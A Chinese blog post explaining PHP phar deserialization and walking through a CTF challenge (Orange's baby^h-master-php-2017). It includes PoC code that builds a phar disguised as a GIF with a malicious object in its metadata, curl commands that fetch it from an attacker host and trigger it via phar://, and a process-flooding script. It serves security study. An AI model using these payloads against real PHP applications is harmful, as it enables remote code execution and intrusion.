您现在的位置是:首页 > 文章详情

phar反序列化

日期:2018-09-11点击:507

参考文献:https://xz.aliyun.com/t/2715
https://www.jianshu.com/p/19e3ee990cb7

phar原理:

一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
ps:要将php.ini中的 phar.readonly选项设置为Off

一个例子

序列化

<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='sheng'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 

img_d1842d50bb3023f119161f753310831f.png

反序列化

<?php class TestObject{ function __destruct() { echo $this -> data; } } include('phar://phar.phar'); ?> 
img_b710b2b0ff52167604cceafddd6249e2.png

将phar伪造成其他格式的文件

<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); #设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); #添加要压缩的文件 $object = new TestObject(); $object -> data = 'sheng'; $phar -> setMetadata($object); #将自定义meta-data存入manifest $phar -> stopBuffering(); ?> 
img_acb9d62686e28aac518f23b390cab614.png

一道相关的ctf(orange大佬的baby^h-master-php-2017)

源码

<?php $FLAG = create_function("", 'die(`/read_flag`);'); $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); } class User { public $avatar; function __construct($path) { $this->avatar = $path; } } class Admin extends User { function __destruct() { $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" . " global \$FLAG; \$FLAG();" . "}"); $_GET["lucky"](); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); #从cookie中取出data和hmac签名 if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){ #判空 die("Bye"); } if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {#判断data加密之后和hmac签名是否对应 die("Bye Bye"); } $data = unserialize($data); #反序列化 if (!isset($data->avatar)){ #如果反序列化之后的data包含的类中无avatar成员,退出 die("Bye Bye Bye"); } return $data->avatar; } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a") { die("Fuck off"); } file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) { if (!file_exists($path . "/avatar.gif")) { $path = "/var/www/html"; } header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") { upload(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 请求url中的内容写到该路径下的avatar.gif文件中 } else if ($mode == "show") { show(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 展示该目录下的avatar.gif } else { highlight_file(__FILE__); } 

思路

  • flag在admin类里,如果能够反序列化就能触发析构函数获取flag

解题过程

  • 上传一个phar文件,之后使用phar解析,反序列化之后从而进入Admin类中的__destruct方法.
    avatar.gif的poc
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = 'idlefire'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?> 
  • 将生成好的avatar.gif上传,之后会出现另一个难点.
    $FLAG = create_function("", 'die(/read_flag);');

$FLAG是通过create_function创建的,并且没有函数名。但这个匿名函数是有名字的,格式是\x00lambda_%d。其中%d会从1一直进行递增,表示这是当前进程中第几个匿名函数。因此如果开启一个新的php进程,那么这个匿名函数就是\x00lambda_1,所以通过向Pre-fork模式的apache服务器发送大量请求,致使apache开启新的进程来处理请求,那么luck=%00lambda_1就可以执行函数了.

$ curl http://127.0.0.1/baby.php --cookie-jar cookie $ curl -b cookie 'http://127.0.0.1/baby.php/?m=upload&url=http://xxx.xxx.xxx.xxx/avatar.gif' $ python fork.py & $ curl -b cookie "http://127.0.0.1/baby.php/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1" 

fork.py

# coding: UTF-8 # Author: orange@chroot.org import requests import socket import time from multiprocessing.dummy import Pool as ThreadPool try: requests.packages.urllib3.disable_warnings() except: pass def run(i): while 1: HOST = 'x.x.x.x' PORT = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('GET / HTTP/1.1\nHost: xxxxx\nConnection: Keep-Alive\n\n') # s.close() print 'ok' time.sleep(0.5) i = 8 pool = ThreadPool( i ) result = pool.map_async( run, range(i) ).get(0xffff) 
原文链接:https://yq.aliyun.com/articles/654365
关注公众号

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。

持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。

文章评论

共有0条评论来说两句吧...

文章二维码

扫描即可查看该文章

点击排行

推荐阅读

最新文章